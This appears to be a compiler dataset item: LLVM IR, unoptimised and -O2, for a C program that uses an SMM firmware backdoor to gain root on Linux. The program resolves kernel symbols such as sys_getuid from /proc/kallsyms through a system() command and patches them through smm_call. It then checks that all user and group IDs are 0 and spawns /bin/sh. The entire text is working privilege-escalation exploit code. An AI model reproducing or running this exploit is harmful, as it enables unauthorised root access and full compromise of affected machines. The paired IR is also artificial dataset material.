159: ; preds = %158, %112
br label %225
160: ; preds = %31, %28
store i32 0, i32* %16
store i64 0, i64* %17
store i64 0, i64* %18
%161 = load i32, i32* %4
%162 = icmp sge i32 %161, 2
br i1 %162, label %163, label %178
163: ; preds = %160
%164 = load i8**, i8*** %5
%165 = getelementptr inbounds i8*, i8** %164, i64 1
%166 = load i8*, i8** %165
%167 = call i32 @strtol(i8* %166, i32* null, i32 16)
store i32 %167, i32* %16
%168 = icmp eq i32 %167, 0
br i1 %168, label %169, label %177
169: ; preds = %163
%170 = load i32, i32* @errno
%171 = load i32, i32* @EINVAL
%172 = icmp eq i32 %170, %171
br i1 %172, label %173, label %177
173: ; preds = %169
%174 = load i32, i32* @errno
%175 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([19 x i8], [19 x i8]* @.str.18, i64 0, i64 0), i32 %174)
%176 = load i32, i32* @errno
store i32 %176, i32* %3
br label %227
177: ; preds = %169, %163
br label %178
178: ; preds = %177, %160
%179 = load i32, i32* %4
%180 = icmp sge i32 %179, 3
br i1 %180, label %181, label %196
181: ; preds = %178
%182 = load i8**, i8*** %5
%183 = getelementptr inbounds i8*, i8** %182, i64 2
%184 = load i8*, i8** %183
%185 = call i64 @strtoull(i8* %184, i32* null, i32 16)
store i64 %185, i64* %17
%186 = icmp eq i64 %185, 0
br i1 %186, label %187, label %195
187: ; preds = %181
%188 = load i32, i32* @errno
%189 = load i32, i32* @EINVAL
%190 = icmp eq i32 %188, %189
br i1 %190, label %191, label %195
191: ; preds = %187
%192 = load i32, i32* @errno
%193 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([21 x i8], [21 x i8]* @.str.2, i64 0, i64 0), i32 %192)
%194 = load i32, i32* @errno
store i32 %194, i32* %3
br label %227
195: ; preds = %187, %181
br label %196
196: ; preds = %195, %178
%197 = load i32, i32* %4
%198 = icmp sge i32 %197, 4
br i1 %198, label %199, label %214
199: ; preds = %196
%200 = load i8**, i8*** %5
%201 = getelementptr inbounds i8*, i8** %200, i64 3
%202 = load i8*, i8** %201
%203 = call i64 @strtoull(i8* %202, i32* null, i32 16)
store i64 %203, i64* %18
%204 = icmp eq i64 %203, 0
br i1 %204, label %205, label %213
205: ; preds = %199
%206 = load i32, i32* @errno
%207 = load i32, i32* @EINVAL
%208 = icmp eq i32 %206, %207
br i1 %208, label %209, label %213
209: ; preds = %205
%210 = load i32, i32* @errno
%211 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([21 x i8], [21 x i8]* @.str.2, i64 0, i64 0), i32 %210)
%212 = load i32, i32* @errno
store i32 %212, i32* %3
br label %227
213: ; preds = %205, %199
br label %214
214: ; preds = %213, %196
%215 = load i32, i32* %16
%216 = load i64, i64* %17
%217 = load i64, i64* %18
%218 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([66 x i8], [66 x i8]* @.str.19, i64 0, i64 0), i32 %215, i64 %216, i64 %217)
%219 = load i32, i32* %16
%220 = load i64, i64* %17
%221 = load i64, i64* %18
%222 = call i32 @smm_call(i32 %219, i64 %220, i64 %221)
store i32 %222, i32* %6
%223 = load i32, i32* %6
%224 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([29 x i8], [29 x i8]* @.str.20, i64 0, i64 0), i32 %223)
br label %225
225: ; preds = %214, %159
%226 = load i32, i32* %6
store i32 %226, i32* %3
br label %227
227: ; preds = %225, %209, %191, %173, %153, %109, %86, %70, %63, %24
%228 = load i32, i32* %3
ret i32 %228
}

LLVM IR (-O2):
@.str = [30 x i8] c"sched_setaffinity() ERROR %d\0A\00"
@errno = global i32 0
@.str.1 = [10 x i8] c"--privesc\00"
@EINVAL = global i32 0
@.str.2 = [21 x i8] c"strtoull() ERROR %d\0A\00"
@.str.3 = [39 x i8] c"ERROR: Unable to resolve %s() address\0A\00"
@.str.4 = [27 x i8] c"%s() address is 0x%llx...\0A\00"
@.str.5 = [30 x i8] c"ERROR: Backdoor returns 0x%x\0A\00"
@.str.7 = [8 x i8] c"/bin/sh\00"
@.str.8 = [3 x i8] c"sh\00"
@.str.10 = [11 x i8] c"sys_getuid\00"
@.str.11 = [12 x i8] c"sys_geteuid\00"
@.str.12 = [11 x i8] c"sys_getgid\00"
@.str.13 = [12 x i8] c"sys_getegid\00"
@.str.15 = [14 x i8] c"%s --privesc \00"
@.str.16 = [59 x i8] c"0x`cat /proc/kallsyms | grep '%s$' | awk '{print $1}'` %s \00"
@.str.17 = [34 x i8] c"ERROR: Command \22%s\22 returns 0x%x\0A\00"
@.str.18 = [19 x i8] c"strtol() ERROR %d\0A\00"
@.str.19 = [66 x i8] c"Calling SMM backdoor with code = 0x%x and args 0x%llx, 0x%llx...\0A\00"
@.str.20 = [29 x i8] c"Sucess! Status code: 0x%.8x\0A\00"
@str = [16 x i8] c"Getting root...\00"
@str.21 = [6 x i8] c"FAILS\00"
@str.22 = [8 x i8] c"SUCCESS\00"
define i32 @main(i32 %0, i8** nocapture %1) {
%3 = alloca i32
%4 = alloca [512 x i8]
%5 = alloca [5 x i8*]
%6 = bitcast i32* %3 to i8*
%7 = call i32 @CPU_ZERO(i32* %3)
%8 = call i32 @CPU_SET(i32 0, i32* %3)
%9 = call i32 @sched_setaffinity(i32 0, i32 4, i32* %3)
%10 = icmp eq i32 %9, 0
br i1 %10, label %15, label %11
11: ; preds = %2
%12 = load i32, i32* @errno
%13 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([30 x i8], [30 x i8]* @.str, i64 0, i64 0), i32 %12)
%14 = load i32, i32* @errno
br label %149
15: ; preds = %2
%16 = icmp sgt i32 %0, 1
br i1 %16, label %17, label %142
17: ; preds = %15
%18 = getelementptr inbounds i8*, i8** %1, i64 1
%19 = load i8*, i8** %18
%20 = call i32 @strcmp(i8* dereferenceable(1) %19, i8* dereferenceable(10) getelementptr inbounds ([10 x i8], [10 x i8]* @.str.1, i64 0, i64 0))
%21 = icmp eq i32 %20, 0
br i1 %21, label %22, label %104
22: ; preds = %17
%23 = icmp ugt i32 %0, 2
br i1 %23, label %27, label %75
24: ; preds = %46
%25 = trunc i64 %54 to i32
%26 = icmp slt i32 %25, %0
br i1 %26, label %27, label %57
27: ; preds = %22, %24
%28 = phi i64 [ %54, %24 ], [ 2, %22 ]
%29 = or i64 %28, 1
%30 = getelementptr inbounds i8*, i8** %1, i64 %29
%31 = load i8*, i8** %30
%32 = getelementptr inbounds i8*, i8** %1, i64 %28
%33 = load i8*, i8** %32
%34 = call i64 @strtoull(i8* nocapture %33, i32* null, i32 16)
%35 = icmp eq i64 %34, 0
br i1 %35, label %36, label %46
36: ; preds = %27
%37 = load i32, i32* @errno
%38 = load i32, i32* @EINVAL
%39 = icmp eq i32 %37, %38
br i1 %39, label %40, label %43
40: ; preds = %36
%41 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([21 x i8], [21 x i8]* @.str.2, i64 0, i64 0), i32 %37)
%42 = load i32, i32* @errno
br label %149
43: ; preds = %36
%44 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([39 x i8], [39 x i8]* @.str.3, i64 0, i64 0), i8* %31)
%45 = load i32, i32* @EINVAL
br label %149
46: ; preds = %27
%47 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([27 x i8], [27 x i8]* @.str.4, i64 0, i64 0), i8* %31, i64 %34)
%48 = call i64 (...) @getuid()
%49 = call i64 (...) @getgid()
%50 = call i64 (...) @geteuid()
%51 = call i64 (...) @getegid()
%52 = call i32 @smm_call(i32 8, i64 %34, i64 0)
%53 = icmp eq i32 %52, 0
%54 = add nuw i64 %28, 2
br i1 %53, label %24, label %55
55: ; preds = %46
%56 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([30 x i8], [30 x i8]* @.str.5, i64 0, i64 0), i32 %52)
br label %149
57: ; preds = %24
%58 = call i64 (...) @getuid()
%59 = icmp eq i64 %58, 0
br i1 %59, label %60, label %69
60: ; preds = %57
%61 = call i64 (...) @geteuid()
%62 = icmp eq i64 %61, 0
br i1 %62, label %63, label %69
63: ; preds = %60
%64 = call i64 (...) @getgid()
%65 = icmp eq i64 %64, 0
br i1 %65, label %66, label %69
66: ; preds = %63
%67 = call i64 (...) @getegid()
%68 = icmp eq i64 %67, 0
br i1 %68, label %72, label %69
69: ; preds = %66, %63, %60, %57
%70 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([6 x i8], [6 x i8]* @str.21, i64 0, i64 0))
%71 = load i32, i32* @EINVAL
br label %149
72: ; preds = %66
%73 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([8 x i8], [8 x i8]* @str.22, i64 0, i64 0))
%74 = call i32 @execl(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.7, i64 0, i64 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.8, i64 0, i64 0), i32* null)
br label %149
75: ; preds = %22
%76 = getelementptr inbounds [512 x i8], [512 x i8]* %4, i64 0, i64 0
%77 = bitcast [5 x i8*]* %5 to i8*
%78 = getelementptr inbounds [5 x i8*], [5 x i8*]* %5, i64 0, i64 4
%79 = bitcast i8** %78 to i64*
store i64 0, i64* %79
%80 = getelementptr inbounds [5 x i8*], [5 x i8*]* %5, i64 0, i64 0
store i8* getelementptr inbounds ([11 x i8], [11 x i8]* @.str.10, i64 0, i64 0), i8** %80
%81 = getelementptr inbounds [5 x i8*], [5 x i8*]* %5, i64 0, i64 1
store i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str.11, i64 0, i64 0), i8** %81
%82 = getelementptr inbounds [5 x i8*], [5 x i8*]* %5, i64 0, i64 2
store i8* getelementptr inbounds ([11 x i8], [11 x i8]* @.str.12, i64 0, i64 0), i8** %82
%83 = getelementptr inbounds [5 x i8*], [5 x i8*]* %5, i64 0, i64 3
store i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str.13, i64 0, i64 0), i8** %83
%84 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([16 x i8], [16 x i8]* @str, i64 0, i64 0))
%85 = load i8*, i8** %1
%86 = call i32 (i8*, i8*, i8*, ...) @sprintf(i8* %76, i8* dereferenceable(1) getelementptr inbounds ([14 x i8], [14 x i8]* @.str.15, i64 0, i64 0), i8* %85)
br label %87
87: ; preds = %75, %87
%88 = phi i64 [ 0, %75 ], [ %94, %87 ]
%89 = phi i8* [ getelementptr inbounds ([11 x i8], [11 x i8]* @.str.10, i64 0, i64 0), %75 ], [ %96, %87 ]
%90 = call i32 @strlen(i8* %76)
%91 = sext i32 %90 to i64
%92 = getelementptr inbounds [512 x i8], [512 x i8]* %4, i64 0, i64 %91
%93 = call i32 (i8*, i8*, i8*, ...) @sprintf(i8* %92, i8* dereferenceable(1) getelementptr inbounds ([59 x i8], [59 x i8]* @.str.16, i64 0, i64 0), i8* %89, i8* %89)
%94 = add nuw i64 %88, 1
%95 = getelementptr inbounds [5 x i8*], [5 x i8*]* %5, i64 0, i64 %94
%96 = load i8*, i8** %95
%97 = icmp eq i8* %96, null
br i1 %97, label %98, label %87
98: ; preds = %87
%99 = call i32 @system(i8* %76)
%100 = icmp eq i32 %99, 0
br i1 %100, label %101, label %102
101: ; preds = %98
br label %149
102: ; preds = %98
%103 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([34 x i8], [34 x i8]* @.str.17, i64 0, i64 0), i8* %76, i32 %99)
br label %149
104: ; preds = %17
%105 = call i32 @strtol(i8* nocapture %19, i32* null, i32 16)
%106 = icmp eq i32 %105, 0
br i1 %106, label %107, label %114
107: ; preds = %104
%108 = load i32, i32* @errno
%109 = load i32, i32* @EINVAL
%110 = icmp eq i32 %108, %109
br i1 %110, label %111, label %114
111: ; preds = %107
%112 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([19 x i8], [19 x i8]* @.str.18, i64 0, i64 0), i32 %108)
%113 = load i32, i32* @errno
br label %149
114: ; preds = %104, %107
%115 = icmp ugt i32 %0, 2
br i1 %115, label %116, label %142
116: ; preds = %114
%117 = getelementptr inbounds i8*, i8** %1, i64 2
%118 = load i8*, i8** %117
%119 = call i64 @strtoull(i8* nocapture %118, i32* null, i32 16)
%120 = icmp eq i64 %119, 0
br i1 %120, label %121, label %128
121: ; preds = %116
%122 = load i32, i32* @errno
%123 = load i32, i32* @EINVAL
%124 = icmp eq i32 %122, %123
br i1 %124, label %125, label %128
125: ; preds = %121
%126 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([21 x i8], [21 x i8]* @.str.2, i64 0, i64 0), i32 %122)
%127 = load i32, i32* @errno
br label %149
128: ; preds = %116, %121
%129 = icmp ugt i32 %0, 3
br i1 %129, label %130, label %142
130: ; preds = %128
%131 = getelementptr inbounds i8*, i8** %1, i64 3
%132 = load i8*, i8** %131
%133 = call i64 @strtoull(i8* nocapture %132, i32* null, i32 16)
%134 = icmp eq i64 %133, 0
br i1 %134, label %135, label %142
135: ; preds = %130
%136 = load i32, i32* @errno
%137 = load i32, i32* @EINVAL
%138 = icmp eq i32 %136, %137
br i1 %138, label %139, label %142
139: ; preds = %135
%140 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([21 x i8], [21 x i8]* @.str.2, i64 0, i64 0), i32 %136)
%141 = load i32, i32* @errno
br label %149
142: ; preds = %15, %114, %128, %135, %130
%143 = phi i64 [ %119, %135 ], [ %119, %130 ], [ %119, %128 ], [ 0, %114 ], [ 0, %15 ]
%144 = phi i32 [ %105, %135 ], [ %105, %130 ], [ %105, %128 ], [ %105, %114 ], [ 0, %15 ]
%145 = phi i64 [ 0, %135 ], [ %133, %130 ], [ 0, %128 ], [ 0, %114 ], [ 0, %15 ]
%146 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([66 x i8], [66 x i8]* @.str.19, i64 0, i64 0), i32 %144, i64 %143, i64 %145)
%147 = call i32 @smm_call(i32 %144, i64 %143, i64 %145)
%148 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([29 x i8], [29 x i8]* @.str.20, i64 0, i64 0), i32 %147)
br label %149
149: ; preds = %111, %125, %139, %40, %43, %55, %69, %72, %101, %142, %102, %11
%150 = phi i32 [ %14, %11 ], [ %99, %102 ], [ %147, %142 ], [ 0, %72 ], [ 0, %101 ], [ %71, %69 ], [ %42, %40 ], [ %45, %43 ], [ %52, %55 ], [ %113, %111 ], [ %127, %125 ], [ %141, %139 ]
ret i32 %150
}